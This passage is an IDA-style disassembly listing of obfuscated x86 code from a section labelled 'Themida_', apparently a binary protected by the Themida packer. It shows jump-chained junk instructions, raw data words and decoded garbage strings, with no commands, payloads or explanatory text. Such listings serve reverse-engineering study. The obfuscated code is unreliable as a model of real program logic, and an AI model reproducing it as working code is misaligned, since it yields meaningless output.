		dd 343098EFh, 24348B20h, 4C481h, 0C7830000h, 4CBFE902h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58BF7E:				; CODE XREF: Themida_:00595D1Dj
		mov	[esp], ecx
		mov	ecx, 87FB5464h
		add	edx, ecx
		pop	ecx
		jmp	loc_58D1C9
; ---------------------------------------------------------------------------
		dw 405h
		dd 50000000h, 42474FFh,	24048F58h, 2404295Ch, 0E328E99Ch
		dd 3487FFFFh, 0C875C24h, 24248B24h, 242CD366h, 93F9E99Ch
		dd 0CB810000h, 7A405900h, 97E9DBF7h, 51000005h,	97BBB53h
		dd 60E97DA0h
		db 4Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58BFD3:				; CODE XREF: Themida_:0058C600j
		or	bl, 0AFh
		jnz	loc_595C94
		inc	bl
		jmp	loc_58F7A5
; ---------------------------------------------------------------------------
		db 88h
		dd 24148BD5h, 9C242CD2h, 0FFE2DDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58BFF1:				; CODE XREF: Themida_:0058C421j
		mov	ebx, esp
		jmp	loc_58CE8A
; ---------------------------------------------------------------------------
		dd 4EC81ADh, 89000000h,	53BE2434h, 2D13BC75h, 2BE439A1h
		dd 0A105F029h, 5E2BE439h, 0D8551005h, 2DD80141h, 41D85510h
		dd 0B8505657h, 368D25F5h, 0B0BCE9h, 0BE56AD00h,	0FE67D2Dh
		dd 1418E951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58C03A:				; CODE XREF: Themida_:0059496Cj
		neg	cl
		xchg	cl, al
		push	edx
		mov	dl, 7
		not	dl
		dec	dl
		shl	dl, 8
		shr	dl, 3
		jmp	loc_58D7EF
; ---------------------------------------------------------------------------


loc_58C050:				; CODE XREF: Themida_:005926E0j
		dec	byte ptr [esp]
		pushf
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------


loc_58C059:				; CODE XREF: Themida_:00593F3Dj
		sub	edx, 3FC579D0h
		jmp	loc_5957AD
; ---------------------------------------------------------------------------


loc_58C064:				; CODE XREF: Themida_:0058EB81j
		push	466D37E5h
		pop	eax
		jmp	loc_5926D2
; ---------------------------------------------------------------------------


loc_58C06F:				; CODE XREF: Themida_:00591829j
		sub	ebx, 126A201Dh
		sub	ebx, ebp
		jmp	loc_5977A7
; ---------------------------------------------------------------------------


loc_58C07C:				; CODE XREF: Themida_:00591232j
		mov	edi, [esp]
		add	esp, 4
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_592019
; ---------------------------------------------------------------------------
		dd 0C681E689h, 4, 5604C683h, 42474FFh, 24048F5Eh, 243C875Ch
		dd 6624248Bh, 9C2424D3h, 0FFE219E9h, 46820FFFh,	0E900001Eh
		dd 0B75Dh, 0B567E95Ah, 5F5A0000h, 0FFEF8CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58C0CD:				; CODE XREF: Themida_:005965D3j
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_58AD2E
; ---------------------------------------------------------------------------


loc_58C0D8:				; CODE XREF: Themida_:00597CB6j
		mov	[esp], edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		jmp	loc_58C99E
; ---------------------------------------------------------------------------
		dd 4C181h, 0E9830000h, 240C8704h, 3F73E9h, 39ABF00h, 20E97D0Dh
		db 3Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58C103:				; CODE XREF: Themida_:00592FF2j
		mov	edx, [esp]
		add	esp, 4


loc_58C10C:				; CODE XREF: Themida_:0059049Ej
		push	50D6h
		mov	[esp], ecx
		jmp	loc_59338C
; ---------------------------------------------------------------------------


loc_58C119:				; CODE XREF: Themida_:0059412Cj
		pop	ebp
		shr	eax, 8
		xor	eax, ecx
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		jmp	loc_58C97F
; ---------------------------------------------------------------------------


loc_58C133:				; CODE XREF: Themida_:00592F5Dj
		push	eax
		mov	eax, esp
		jmp	loc_58D34A
; ---------------------------------------------------------------------------


loc_58C13B:				; CODE XREF: Themida_:00593EB1j
		push	edi
		jmp	loc_58EAE5
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 0FFE9A1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58C149:				; CODE XREF: Themida_:0058EDDAj
		mov	esp, [esp]
		mov	[esp], edx
		mov	edx, 579F3161h
		xor	edx, 28D839EBh
		push	eax
		jmp	loc_592446
; ---------------------------------------------------------------------------


loc_58C160:				; CODE XREF: Themida_:0058C636j
		pop	edi
		add	edi, 57E31B65h
		pop	esi
		jmp	loc_595236
; ---------------------------------------------------------------------------


loc_58C16D:				; CODE XREF: Themida_:0058C940j
		add	ecx, edx
		pop	edx
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_58CD20
; ---------------------------------------------------------------------------


loc_58C17E:				; CODE XREF: Themida_:loc_592757j
					; Themida_:005953CFj
		push	ebx
		jmp	loc_58F970
; ---------------------------------------------------------------------------
aQsL		db 'Q鲫',0
		align 2
		dw 0C821h
		dd 81240C8Bh, 4C4h, 28632500h, 0FC2D3925h, 10823FFh, 24048BC5h
		dd 0E904C483h, 8C69h
; ---------------------------------------------------------------------------


loc_58C1AC:				; CODE XREF: Themida_:00597C6Dj
		push	2157h
		mov	[esp], edx
		mov	edx, 3E7C4CF4h
		xchg	eax, edx
		inc	eax
		jmp	loc_58C9E9
; ---------------------------------------------------------------------------
		dd 592434FFh, 464CE9h, 0D831AD00h, 20596853h, 0E7E91781h
		db 8Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58C1D7:				; CODE XREF: Themida_:0058E148j
		mov	esp, [esp]
		push	4969h
		mov	[esp], ebx
		mov	ebx, 25DE7A5Dh
		add	ebx, 75137FEDh
		jbe	loc_593650
		sub	ebx, 313F7FA4h
		not	ebx
		xor	ebx, 964D8558h
		and	eax, ebx
		jmp	loc_5958DF
; ---------------------------------------------------------------------------


loc_58C208:				; CODE XREF: Themida_:00592493j
		shl	esi, 2
		jmp	loc_58DF4E
; ---------------------------------------------------------------------------


loc_58C210:				; CODE XREF: Themida_:005956B5j
		add	eax, edx
		jmp	loc_58E524
; ---------------------------------------------------------------------------
		db 56h
		dd 0FFFFFFBEh, 82C381FFh, 15FBB4Ch, 3E5AE9F3h, 8B660000h
		dd 0E2E92404h
		db 0EAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58C233:				; CODE XREF: Themida_:005979CDj
		mov	edi, 4
		add	esi, 5EF40639h
		jmp	loc_593842
; ---------------------------------------------------------------------------


loc_58C243:				; CODE XREF: Themida_:0058FCBCj
		pop	ebx
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_58F500
; ---------------------------------------------------------------------------


loc_58C252:				; CODE XREF: Themida_:005922FAj
		xchg	edx, [esp]
		pop	esp
		jmp	loc_5967C8
; ---------------------------------------------------------------------------


loc_58C25B:				; CODE XREF: Themida_:00595196j
		pop	ebx
		push	ebx
		jmp	loc_591059
; ---------------------------------------------------------------------------
		dw 0C87h
		dd 24248B24h, 5624048Bh, 0C681E689h, 4,	2AB2BD55h, 0EC835408h
		dd 242C8904h, 0F75A5D52h, 0E9D587D2h, 2F34h
; ---------------------------------------------------------------------------


loc_58C28C:				; CODE XREF: Themida_:0058DDE3j
		mov	esi, 0B66687Eh
		shl	esi, 3
		xor	esi, 6FD41C3Ah
		neg	esi
		dec	esi
		xor	esi, 0CB18A031h
		jmp	loc_58C2D1
; ---------------------------------------------------------------------------
		dd 0F7D0F759h, 707605D0h, 0C6290BD6h, 34335B58h, 24343124h
		dd 5C243433h, 8F43E9h
		db 0
; ---------------------------------------------------------------------------


loc_58C2C5:				; CODE XREF: Themida_:00592BACj
		mov	ecx, [esp]
		add	esp, 4
		push	ebx
		jmp	loc_58F4B2
; ---------------------------------------------------------------------------


loc_58C2D1:				; CODE XREF: Themida_:0058C2A3j
		add	edx, esi
		jmp	loc_58EE00
; ---------------------------------------------------------------------------


loc_58C2D8:				; CODE XREF: Themida_:005919C7j
		neg	eax
		jmp	loc_59240C
; ---------------------------------------------------------------------------


loc_58C2DF:				; CODE XREF: Themida_:005926D5j
		and	eax, 51F53A7Fh
		jg	loc_58C3BC
		xor	eax, 6593422Ch
		mov	ebx, eax
		pop	eax
		xor	ebp, ebx
		pop	ebx
		push	ebp
		mov	ebx, [esp]


loc_58C2F9:				; CODE XREF: Themida_:00592E6Aj
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		add	ebx, eax
		push	edx
		mov	edx, 3F794FEAh
		add	ebx, edx
		pop	edx
		xor	edx, eax
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------


loc_58C320:				; CODE XREF: Themida_:0058AE02j
		mov	[esp], ecx
		push	541Fh
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_58AADC
; ---------------------------------------------------------------------------


loc_58C336:				; CODE XREF: Themida_:0058D92Cj
		xchg	esi, [esp]
		pop	esp
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------
		db 83h
		dd 0FA2802C4h, 5B90C280h, 9C77E9h, 0DF7CE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58C352:				; CODE XREF: Themida_:005940A9j
		add	esp, 4
		sub	esp, 4
		jmp	loc_58D0D8
; ---------------------------------------------------------------------------


loc_58C360:				; CODE XREF: Themida_:0058DFDAj
		pop	cx
		add	al, bl
		pop	ebx
		pop	edx
		add	bl, 37h
		add	bl, 0C7h
		sub	bl, al
		sub	bl, 0C7h
		jmp	loc_58A8AA
; ---------------------------------------------------------------------------
		dw 0F680h
		dd 7E6C001h, 8447850Fh,	89E90000h
		db 8Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58C387:				; CODE XREF: Themida_:0058C94Bj
		xor	ecx, 0F5D2F76h
		and	eax, ecx
		push	dword ptr [esp]
		jmp	loc_58F52E
; ---------------------------------------------------------------------------


loc_58C397:				; CODE XREF: Themida_:0058BBACj
					; Themida_:00591BD1j
		pop	esp
		jmp	loc_592107
; ---------------------------------------------------------------------------


loc_58C39D:				; CODE XREF: Themida_:00590EBAj
		xor	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_597D35
; ---------------------------------------------------------------------------
		dd 4EC815Dh, 89000000h,	0FFBA2414h, 0E9FFFFFFh,	567Ah
; ---------------------------------------------------------------------------


loc_58C3BC:				; CODE XREF: Themida_:0058C2E4j
		xor	eax, 6593422Ch
		mov	ebx, eax
		pop	eax
		xor	ebp, ebx
		pop	ebx
		push	ebp
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_591703
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 0FFD0015Eh, 835A2434h, 8E6804C4h,	89000063h, 89512414h
		dd 4C181E1h, 83000000h,	0C8704E9h, 3C895C24h, 5C9A6824h
		dd 34890000h, 47E3BE24h, 55E939B2h
		db 8Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58C413:				; CODE XREF: Themida_:00597043j
		mov	ebp, edi
		mov	edi, [esp]
		jmp	loc_597299
; ---------------------------------------------------------------------------


loc_58C41D:				; CODE XREF: Themida_:0058E027j
					; Themida_:0059329Cj
		mov	edx, [esp]
		push	ebx
		jmp	loc_58BFF1
; ---------------------------------------------------------------------------
		dw 0E6C1h
		dd 3EEC108h, 681E681h, 0F6811ECFh, 2B3C4E4Ch, 535EF029h
		dd 0C70321BBh, 0E3C14B70h, 0F2F38104h, 0E95C325Fh, 90E8h
; ---------------------------------------------------------------------------


loc_58C450:				; CODE XREF: Themida_:00594741j
		mov	ebx, esp
		jmp	loc_5935D2
; ---------------------------------------------------------------------------
		db 0BAh
		dd 4, 0E95AD101h, 13BEh, 561DBBEh, 25F68126h, 0F739FC1Ah
		dd 0C9B850D6h, 0C1663D45h, 0D0F708E8h, 75F7BF57h, 0F829B9D0h
		dd 58C6095Fh, 4E19E9h
		db 0
; ---------------------------------------------------------------------------


loc_58C48D:				; CODE XREF: Themida_:00592A12j
		mov	cx, [esp]
		push	ebp
		jmp	loc_592ED8
; ---------------------------------------------------------------------------


loc_58C497:				; CODE XREF: Themida_:0058E227j
		xor	ebp, ebx
		pop	ebx
		xor	edi, ebp
		pop	ebp
		push	edi
		mov	eax, [esp]
		add	esp, 4
		mov	edi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_5946BF
; ---------------------------------------------------------------------------
		db 89h
		dd 4C681E6h, 81000000h,	4EEh, 24348700h, 6ABCE9h, 7DFDBB00h
		dd 0DBF759A8h, 59628E0Fh, 0CB810000h, 1CB7621Eh, 1C018D0Fh
		dd 8A520000h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58C4ED:				; CODE XREF: Themida_:005924FEj
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_58D9C8
; ---------------------------------------------------------------------------


loc_58C4F8:				; CODE XREF: Themida_:00592624j
		mov	edx, ebx
		jmp	loc_58F7E2
; ---------------------------------------------------------------------------


loc_58C4FF:				; CODE XREF: Themida_:loc_594CB3j
		or	esi, 57B52F04h
		jmp	loc_591CEE
; ---------------------------------------------------------------------------


loc_58C50A:				; CODE XREF: Themida_:00593723j
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------


loc_58C50F:				; CODE XREF: Themida_:00597D87j
		pop	dword ptr [esp]
		push	ecx
		not	dword ptr [esp]
		jmp	loc_591072
; ---------------------------------------------------------------------------


loc_58C51B:				; CODE XREF: Themida_:00594471j
		mov	esp, [esp]
		mov	dx, [esp]
		push	edx
		mov	edx, esp
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_58D3B5
; ---------------------------------------------------------------------------
		db 89h
		dd 28B9240Ch, 8163FD4Bh, 0D66C00C9h, 552CE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58C546:				; CODE XREF: Themida_:00594A41j
		shr	eax, 2
		jnp	loc_58EACC
		push	edi
		mov	edi, 0EA87F417h
		sub	eax, edi
		pop	edi
		sub	esi, eax
		mov	eax, [esp]
		push	esp
		sub	ebx, 800C2095h
		add	ecx, ebx
		pop	ebx
		push	edi
		mov	edi, 4
		sub	ecx, edi
		mov	edi, [esp]
		jmp	loc_591F17
; ---------------------------------------------------------------------------
		db 68h
		dd 320Eh, 0E9240C89h, 1056h
; ---------------------------------------------------------------------------


loc_58C584:				; CODE XREF: Themida_:0058F74Aj
		push	dword ptr [esp+4]
		jmp	loc_58EEDD
; ---------------------------------------------------------------------------


loc_58C58D:				; CODE XREF: Themida_:0058CC94j
		pop	bx
		pop	edx
		push	ebx
		jmp	loc_596868
; ---------------------------------------------------------------------------
		dw 0C1BDh
		dd 0F73A4D71h, 5FF581DDh, 18893CEh, 0D3015DEBh,	4060EB81h
		dd 3884D21h, 598AE9h, 4C48300h,	16EAE952h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58C5BE:				; CODE XREF: Themida_:0058E8F3j
		add	eax, 589C7B72h
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_590A68
; ---------------------------------------------------------------------------
		dd 8B2434FFh, 0C4832404h, 5A5E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58C5DA:				; CODE XREF: Themida_:00598060j
		push	edx
		jmp	loc_58A7A8
; ---------------------------------------------------------------------------


loc_58C5E0:				; CODE XREF: Themida_:loc_58DBDFj
		shr	eax, 6
		jmp	loc_58F927
; ---------------------------------------------------------------------------


loc_58C5E8:				; CODE XREF: Themida_:005922ADj
		jg	loc_58CA6C
		not	edi
		push	35Fh
		jmp	loc_596F86
; ---------------------------------------------------------------------------
		db 52h
; ---------------------------------------------------------------------------


loc_58C5FB:				; CODE XREF: Themida_:0058B4B6j
		mov	bl, 0Dh
		shr	bl, 3
		jmp	loc_58BFD3
; ---------------------------------------------------------------------------


loc_58C605:				; CODE XREF: Themida_:loc_58FD90j
		jmp	loc_590F3F
; ---------------------------------------------------------------------------


loc_58C60A:				; CODE XREF: Themida_:loc_595ACFj
		dec	ecx
		jno	loc_58F12A
		jmp	loc_58D4ED
; ---------------------------------------------------------------------------
		dw 27BBh
		dd 5E55AA2Eh, 2A6880BEh, 1841E906h, 0EE800000h,	0E9F188C0h
		dd 714Bh
; ---------------------------------------------------------------------------


loc_58C630:				; CODE XREF: Themida_:00596F8Fj
		xor	ebx, 6B84F12Bh
		jmp	loc_58C160
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4832434h, 8C0F4604h, 1B7Ah, 0B83C681h, 8C0F4C94h
		dd 654Dh
; ---------------------------------------------------------------------------


loc_58C654:				; CODE XREF: Themida_:005903AEj
		js	loc_5908BD
		push	edx
		push	ebx
		mov	ebx, 3A351BA8h
		mov	edx, ebx
		pop	ebx
		push	ecx
		push	edi
		mov	edi, 4B2D6896h
		mov	ecx, edi
		pop	edi
		jmp	loc_595716
; ---------------------------------------------------------------------------


loc_58C673:				; CODE XREF: Themida_:0058F922j
		sub	ecx, edi
		pop	edi
		push	edx
		mov	edx, 8653BADh
		xor	edx, 220665D0h
		or	ecx, edx
		pop	edx
		sub	ecx, 0AED9EECEh
		add	esi, ecx
		jmp	loc_58DFAC
; ---------------------------------------------------------------------------


loc_58C692:				; CODE XREF: Themida_:0059151Cj
		pop	ecx
		xor	ecx, 39D076BAh
		sub	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_58CDF5
; ---------------------------------------------------------------------------


loc_58C6A6:				; CODE XREF: Themida_:0058B9ADj
		jmp	loc_592757
; ---------------------------------------------------------------------------
		db 66h
		dd 55240C8Bh, 242C8B54h, 0E904EC83h, 6A29h
; ---------------------------------------------------------------------------


loc_58C6BC:				; CODE XREF: Themida_:00591949j
		pop	esp
		mov	[esp], ebx
		mov	ebx, 2
		add	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		jmp	loc_58E652
; ---------------------------------------------------------------------------
		db 0Fh
		dd 1CB188h, 8D0F4F00h, 47D7h, 56852C47h
; ---------------------------------------------------------------------------


loc_58C6EC:				; CODE XREF: Themida_:loc_591961j
		add	esi, 4
		push	6E9Bh
		mov	[esp], edi
		mov	edi, 51FF38EDh
		neg	edi
		dec	edi
		not	edi
		or	edi, 37DE197Ah
		sub	edi, 77FF39FBh
		add	esi, edi
		jmp	loc_58FDF7
; ---------------------------------------------------------------------------


loc_58C717:				; CODE XREF: Themida_:0058DDC7j
		mov	ecx, edi
		jmp	loc_590E4A
; ---------------------------------------------------------------------------


loc_58C71E:				; CODE XREF: Themida_:00594E08j
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5979E5
; ---------------------------------------------------------------------------
aSS_7		db 'ΠμιΥ‘',0
		align 2


loc_58C72E:				; CODE XREF: Themida_:00594BAEj
		add	eax, 0B13531EBh
		jmp	loc_5973A9
; ---------------------------------------------------------------------------
		dd 440AF681h, 0F52912BAh, 242C875Eh, 240C895Ch,	2B9h, 8BCF0100h
		dd 0E956240Ch, 0FFFFF938h, 1DD768h, 465DE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58C762:				; CODE XREF: Themida_:0058E438j
		add	esp, 4
		jmp	loc_58BB39
; ---------------------------------------------------------------------------


loc_58C76A:				; CODE XREF: Themida_:00590C38j
		mov	esp, [esp]
		and	[esp], al
		pushf
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------
		dw 8D0Fh
		dd 8691h, 8046C480h, 0ECD001C4h, 0FFFF9EE9h, 2434FFFFh
		dd 582434FFh, 5104C483h, 0C181E189h, 4,	0A356E955h, 4830000h
		dd 815E0424h, 4ECh, 24148900h, 0DCDE9h
		db 0
; ---------------------------------------------------------------------------


loc_58C7B5:				; CODE XREF: Themida_:005917CBj
		xor	edx, 3C0AB076h
		jmp	loc_58BEC0
; ---------------------------------------------------------------------------
		dd 0FA8C680h, 24E682h, 0E9525100h, 3DBh, 5AD7015Fh
		db 53h,	57h
; ---------------------------------------------------------------------------


loc_58C7D6:				; CODE XREF: Themida_:005900D1j
		push	ebp
		pop	esi
		pop	ebp
		jmp	loc_5906ED
; ---------------------------------------------------------------------------


loc_58C7DE:				; CODE XREF: Themida_:0059438Bj
		mov	ebp, 4
		add	edi, ebp
		mov	ebp, [esp]
		jmp	loc_58E1E4
; ---------------------------------------------------------------------------


loc_58C7ED:				; CODE XREF: Themida_:005922A2j
		mov	bh, 0D2h
		and	al, bh
		pop	ebx
		inc	al
		jmp	loc_59781D
; ---------------------------------------------------------------------------


loc_58C7F9:				; CODE XREF: Themida_:00594A49j
		add	bh, ch
		mov	ecx, [esp]
		jmp	loc_5910AE
; ---------------------------------------------------------------------------
		db 0C0h
		dd 9BE903E4h
		db 6Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58C80B:				; CODE XREF: Themida_:loc_590327j
		sub	ebp, 7E96BDFBh
		mov	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	edi, edx
		pop	edx
		xor	edi, 8B38AA28h
		add	esi, edi
		jmp	loc_59373E
; ---------------------------------------------------------------------------
		dd 81241C8Bh, 4C4h, 0D0F58100h,	5E240C3h, 7E903EA7h, 0BD55E829h
		dd 7E903EA7h, 0FF5DE829h, 575D2434h, 0C781E789h, 4, 5313E9h
		dd 0EC815C00h, 4, 0BD242C89h, 2B7C1E87h, 0E839ED81h, 0E8011B08h
		dd 81242C8Bh, 4ECh, 24048900h, 4EC81h, 24890000h, 24048324h
		dd 24048B04h, 0E904C483h, 1810h, 0E8B65266h, 46BAE9h, 55E18900h
		dd 851776BDh, 81D5F763h, 7AE88DF5h, 0B1E9819Ch,	0E97D9564h
		dd 9377h
; ---------------------------------------------------------------------------


loc_58C8BC:				; CODE XREF: Themida_:0059487Bj
		xor	[esp], edi
		xor	edi, [esp]
		xor	[esp], edi
		add	edi, 1
		push	ebp
		push	esp
		pop	ebp
		push	2B29h
		mov	[esp], edi
		jmp	loc_596CF6
; ---------------------------------------------------------------------------


loc_58C8DB:				; CODE XREF: Themida_:00597EA6j
		mov	edx, 10CE0E75h
		push	ecx
		mov	ecx, 10CE0E75h
		mov	eax, ecx
		pop	ecx
		jmp	loc_590CD9
; ---------------------------------------------------------------------------
		dw 0F681h
		dd 0B706F184h, 348BF389h, 4C48124h, 0E9000000h,	0FFFFEAE5h
		dd 5204C483h, 25EE9h, 0E95B6600h, 8E75h, 778A0F40h, 35000015h
		dd 7607DFB4h, 0C604E8C1h
		db 0C3h, 75h, 50h
; ---------------------------------------------------------------------------


loc_58C927:				; CODE XREF: Themida_:0058E121j
		not	eax
		inc	eax
		sub	eax, 0B917BB63h
		and	edx, eax
		pop	eax
		xor	edx, 59256118h
		neg	edx
		sub	edx, 92DB9C6Eh
		jmp	loc_58C16D
; ---------------------------------------------------------------------------


loc_58C945:				; CODE XREF: Themida_:0058A748j
		or	ecx, 65D0F76h
		jmp	loc_58C387
; ---------------------------------------------------------------------------


loc_58C950:				; CODE XREF: Themida_:0058F2ABj
		add	esp, 4
		push	2AAFh
		mov	[esp], edx
		jmp	loc_5979C9
; ---------------------------------------------------------------------------


loc_58C963:				; CODE XREF: Themida_:00590524j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	edi
		jmp	loc_5908B3
; ---------------------------------------------------------------------------
		dw 6664h
		dd 0DE9028Bh
		db 4Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58C97F:				; CODE XREF: Themida_:0058C12Ej
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_592E29
; ---------------------------------------------------------------------------
		dw 0E1C1h
		dd 2BF18107h, 8156A37Eh, 0B9405AE9h, 0AEABE969h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58C99E:				; CODE XREF: Themida_:0058C0E3j
		mov	esp, [esp]
		jmp	loc_58B3A4
; ---------------------------------------------------------------------------
		dw 815Fh
		dd 4C7h, 4C78300h, 8B243C87h, 0B1E92424h, 5C000086h, 0D8288904h
		dd 0CF68892Ch, 89000067h, 0FB1240Ch, 807AE980h,	0D9F60AC1h
		dd 2260E9h
		db 0
; ---------------------------------------------------------------------------


loc_58C9D9:				; CODE XREF: Themida_:0058BD36j
		sub	ah, 0E0h
		jmp	loc_58CA29
; ---------------------------------------------------------------------------
aISvi		db 'Αλ',8,'ιv¨',0
		db 0
; ---------------------------------------------------------------------------


loc_58C9E9:				; CODE XREF: Themida_:0058C1BBj
		xchg	eax, edx
		dec	edx
		dec	edx
		add	edx, 91AC0334h
		jmp	loc_590F16
; ---------------------------------------------------------------------------
		db 1
		dd 48F32DF8h, 34FF58BFh, 54E95F24h
		db 0A5h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_58CA07:				; CODE XREF: Themida_:00597A0Cj
		cmp	eax, edx
		jz	loc_59259A
		push	6E1Eh
		mov	[esp], edx
		push	ecx
		push	5855664h
		pop	ecx
		sub	ecx, 99D31F3h
		jmp	loc_58B095
; ---------------------------------------------------------------------------


loc_58CA29:				; CODE XREF: Themida_:0058C9DCj
		add	ah, 66h
		add	dh, ah
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		jmp	loc_5958BF
; ---------------------------------------------------------------------------


loc_58CA3D:				; CODE XREF: Themida_:00597056j
		or	eax, 0B897B03h
		jmp	loc_597F78
; ---------------------------------------------------------------------------
		db 66h
		dd 566D029h, 2D663C8Bh,	665A1C2Eh, 83241C8Bh, 506602C4h
		dd 2095B866h, 66C30166h, 0E924048Bh, 85B0h
; ---------------------------------------------------------------------------


loc_58CA6C:				; CODE XREF: Themida_:loc_58C5E8j
		not	edi
		push	35Fh
		jmp	loc_58B44B
; ---------------------------------------------------------------------------
		dd 5C241C33h, 89240C89h, 0D0E952E1h
		db 0F9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58CA87:				; CODE XREF: Themida_:0058D926j
		xor	bl, al
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	edi
		mov	edi, 43781F68h
		jmp	loc_59122E
; ---------------------------------------------------------------------------
		dw 8159h
		dd 0C6244DF1h, 0E1815A6Eh, 58E405F3h, 40FE981h,	0C8015060h
		dd 4BA5259h, 1000000h, 4335AD0h, 1DEEE924h, 0B8500000h
		dd 2FCC5788h, 0E906E8C1h, 0FFFFE051h
; ---------------------------------------------------------------------------


loc_58CAD0:				; CODE XREF: Themida_:0058CE06j
		push	4E88h
		jmp	loc_58F7BC
; ---------------------------------------------------------------------------


loc_58CADA:				; CODE XREF: Themida_:00591B30j
		add	ebp, 7461519h
		sub	ebp, 613E0866h
		add	ebp, esi
		jmp	loc_59380A
; ---------------------------------------------------------------------------
		db 80h,	0EAh, 56h
		dd 52E9D188h
		db 17h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58CAF7:				; CODE XREF: Themida_:005957B5j
		pop	ecx
		add	edx, 4
		jmp	loc_58E145
; ---------------------------------------------------------------------------


loc_58CB00:				; CODE XREF: Themida_:0059195Cj
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		cmp	cx, ax
		pushf
		jmp	loc_596923
; ---------------------------------------------------------------------------
		dw 0F45h
		dd 295F8Ch, 1CE94D00h, 81FFFFF6h, 6A7E70EDh
		db 83h,	57h
; ---------------------------------------------------------------------------


loc_58CB26:				; CODE XREF: Themida_:loc_58F6A0j
		sub	edx, 7C198C65h
		jmp	loc_59258A
; ---------------------------------------------------------------------------


loc_58CB31:				; CODE XREF: Themida_:0059413Fj
		push	eax
		mov	eax, 54113F26h
		sub	ebx, eax
		pop	eax
		add	ebx, 45BED362h
		add	edi, ebx
		pop	ebx
		push	ecx
		jmp	loc_58F072
; ---------------------------------------------------------------------------
		db 54h,	0E9h, 67h
		db 0D9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58CB4F:				; CODE XREF: Themida_:005927DCj
		pop	ebp
		push	5DE9h
		mov	[esp], ecx
		push	dword ptr [esp+4]
		pop	ecx
		jmp	loc_58DA19
; ---------------------------------------------------------------------------
		dw 74FFh
		dd 0FBE90424h, 6800002Ch, 4CBBh, 83242489h, 8B042404h
		dd 13E92414h, 68000029h, 1B78h,	8A82E9h
		db 0
; ---------------------------------------------------------------------------


loc_58CB89:				; CODE XREF: Themida_:0058AC8Fj
		mov	bl, al
		mov	dl, bl
		mov	ebx, [esp]
		add	esp, 4
		mov	bl, dl
		mov	edx, [esp]
		add	esp, 4
		pop	eax
		jmp	loc_5977E9
; ---------------------------------------------------------------------------


loc_58CBA4:				; CODE XREF: Themida_:00594D21j
		xor	ebx, eax
		jmp	loc_594090
; ---------------------------------------------------------------------------
		db 0ACh
		dd 4EC81h, 0ABE90000h
		db 48h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58CBB7:				; CODE XREF: Themida_:00590322j
					; Themida_:00596F9Bj
		jp	loc_593299
		shl	ebx, 2
		jz	loc_58D770
		sub	ebx, 52F96193h
		jmp	loc_58F614
; ---------------------------------------------------------------------------


loc_58CBD1:				; CODE XREF: Themida_:0058B5E6j
		add	esi, 0C9A36DB7h
		jmp	loc_595564
; ---------------------------------------------------------------------------


loc_58CBDC:				; CODE XREF: Themida_:0059805Aj
		pop	ebx
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		jmp	loc_58A569
; ---------------------------------------------------------------------------


loc_58CBED:				; CODE XREF: Themida_:005943F6j
		add	ecx, 0E4CF820Dh
		mov	esi, ecx
		pop	ecx
		jmp	loc_594806
; ---------------------------------------------------------------------------
		db 81h
